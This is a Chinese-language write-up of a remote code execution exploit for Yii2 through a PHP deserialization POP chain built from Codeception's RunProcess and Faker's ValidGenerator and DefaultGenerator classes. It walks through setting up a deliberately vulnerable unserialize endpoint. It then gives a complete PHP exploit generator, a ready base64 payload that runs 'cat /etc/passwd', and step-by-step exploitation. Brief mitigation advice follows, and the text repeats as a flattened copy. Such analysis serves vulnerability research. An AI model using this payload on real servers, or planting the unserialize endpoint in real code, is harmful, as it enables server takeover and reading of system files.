Yii2反序列化RCE 新POP链
字数 1177 2025-08-05 19:10:09

Yii2反序列化RCE新POP链分析与利用

漏洞概述

Yii2框架存在反序列化远程代码执行漏洞,攻击者可以通过精心构造的序列化数据在目标服务器上执行任意命令。该漏洞利用了Yii2框架中的POP(Property-Oriented Programming)链,绕过了官方在2.0.38版本后添加的安全限制。

环境搭建

  1. 使用Composer安装Yii2框架:
composer create-project yiisoft/yii2-app-basic yii2

要求Yii2版本 ≤ 2.0.41

  1. 使用Docker启动环境:
cd yii2
docker run -d -p 80:80 -v $(pwd):/var/www/html suanve/php:7.3-apache
  1. controllers/SiteController.php中添加测试端点:
public function actionTest()
{
    return unserialize(base64_decode(file_get_contents("php://input")));
}

POP链分析

1. 反序列化起点

传统POP链使用\yii\vendor\yiisoft\yii2\db\BatchQueryResult.php__destruct()作为起点,但在新版本中官方添加了__wakeup()防护:

public function __wakeup()
{
    throw new \BadMethodCallException('Cannot unserialize ' . __CLASS__);
}

新POP链使用vendor/codeception/codeception/ext/RunProcess.php作为起点:

  • $this->processes可控
  • 没有__wakeup()限制
  • 可通过isRunning()触发__call()方法

2. 第一重调用

传统利用vendor/fakerphp/faker/src/Faker/Generator.php__call()方法已被官方防护:

public function __wakeup()
{
    $this->formatters = [];
}

新POP链使用vendor/fakerphp/faker/src/Faker/ValidGenerator.php__call()方法:

  • $this->generator$this->validator$this->maxRetries可控
  • 通过设置大$maxRetries值跳过异常
  • $validator可控制命令执行

3. 第二重调用

使用vendor/fakerphp/faker/src/Faker/DefaultGenerator.php

  • $this->default可控
  • 通过__call()返回可控字符串

漏洞利用

EXP构造

<?php
namespace Faker{

    class DefaultGenerator{
        protected $default;
        function __construct($argv)
        {
            $this->default = $argv;
        }
    }

    class ValidGenerator{
        protected $generator;
        protected $validator;
        protected $maxRetries;
        function __construct($command,$argv)
        {
            $this->generator = new DefaultGenerator($argv);
            $this->validator = $command;
            $this->maxRetries = 99999999;
        }
    }
}

namespace Codeception\Extension{
    use Faker\ValidGenerator;
    class RunProcess{
        private $processes = [];
        function __construct($command,$argv)
        {
            $this->processes[] = new ValidGenerator($command,$argv);
        }
    }
}

namespace {
    use Codeception\Extension\RunProcess;
    $exp = new RunProcess('system','cat /etc/passwd');
    echo(base64_encode(serialize($exp)));
    exit();
}

生成的Payload

TzozMjoiQ29kZWNlcHRpb25cRXh0ZW5zaW9uXFJ1blByb2Nlc3MiOjE6e3M6NDM6IgBDb2RlY2VwdGlvblxFeHRlbnNpb25cUnVuUHJvY2VzcwBwcm9jZXNzZXMiO2E6MTp7aTowO086MjA6IkZha2VyXFZhbGlkR2VuZXJhdG9yIjozOntzOjEyOiIAKgBnZW5lcmF0b3IiO086MjI6IkZha2VyXERlZmF1bHRHZW5lcmF0b3IiOjE6e3M6MTA6IgAqAGRlZmF1bHQiO3M6MTU6ImNhdCAvZXRjL3Bhc3N3ZCI7fXM6MTI6IgAqAHZhbGlkYXRvciI7czo2OiJzeXN0ZW0iO3M6MTM6IgAqAG1heFJldHJpZXMiO2k6OTk5OTk5OTk7fX19

漏洞利用步骤

  1. 构造恶意序列化对象
  2. 将对象进行Base64编码
  3. 向存在漏洞的端点发送POST请求,payload放在请求体中
  4. 服务器反序列化payload后执行任意命令

防护建议

  1. 升级Yii2框架至最新版本
  2. 避免反序列化用户可控的输入
  3. 对反序列化操作进行严格的白名单控制
  4. 使用安全的反序列化方法替代原生unserialize()

总结

该漏洞通过精心构造的POP链绕过了Yii2框架的安全限制,利用反序列化操作实现远程代码执行。攻击者需要找到目标应用中存在的反序列化入口点,通过该漏洞可以完全控制服务器。开发人员应当重视反序列化操作的安全性,避免直接反序列化不可信的数据。

Yii2反序列化RCE新POP链分析与利用 漏洞概述 Yii2框架存在反序列化远程代码执行漏洞,攻击者可以通过精心构造的序列化数据在目标服务器上执行任意命令。该漏洞利用了Yii2框架中的POP(Property-Oriented Programming)链,绕过了官方在2.0.38版本后添加的安全限制。 环境搭建 使用Composer安装Yii2框架: 要求Yii2版本 ≤ 2.0.41 使用Docker启动环境: 在 controllers/SiteController.php 中添加测试端点: POP链分析 1. 反序列化起点 传统POP链使用 \yii\vendor\yiisoft\yii2\db\BatchQueryResult.php 的 __destruct() 作为起点,但在新版本中官方添加了 __wakeup() 防护: 新POP链使用 vendor/codeception/codeception/ext/RunProcess.php 作为起点: $this->processes 可控 没有 __wakeup() 限制 可通过 isRunning() 触发 __call() 方法 2. 第一重调用 传统利用 vendor/fakerphp/faker/src/Faker/Generator.php 的 __call() 方法已被官方防护: 新POP链使用 vendor/fakerphp/faker/src/Faker/ValidGenerator.php 的 __call() 方法: $this->generator 、 $this->validator 、 $this->maxRetries 可控 通过设置大 $maxRetries 值跳过异常 $validator 可控制命令执行 3. 第二重调用 使用 vendor/fakerphp/faker/src/Faker/DefaultGenerator.php : $this->default 可控 通过 __call() 返回可控字符串 漏洞利用 EXP构造 生成的Payload 漏洞利用步骤 构造恶意序列化对象 将对象进行Base64编码 向存在漏洞的端点发送POST请求,payload放在请求体中 服务器反序列化payload后执行任意命令 防护建议 升级Yii2框架至最新版本 避免反序列化用户可控的输入 对反序列化操作进行严格的白名单控制 使用安全的反序列化方法替代原生 unserialize() 总结 该漏洞通过精心构造的POP链绕过了Yii2框架的安全限制,利用反序列化操作实现远程代码执行。攻击者需要找到目标应用中存在的反序列化入口点,通过该漏洞可以完全控制服务器。开发人员应当重视反序列化操作的安全性,避免直接反序列化不可信的数据。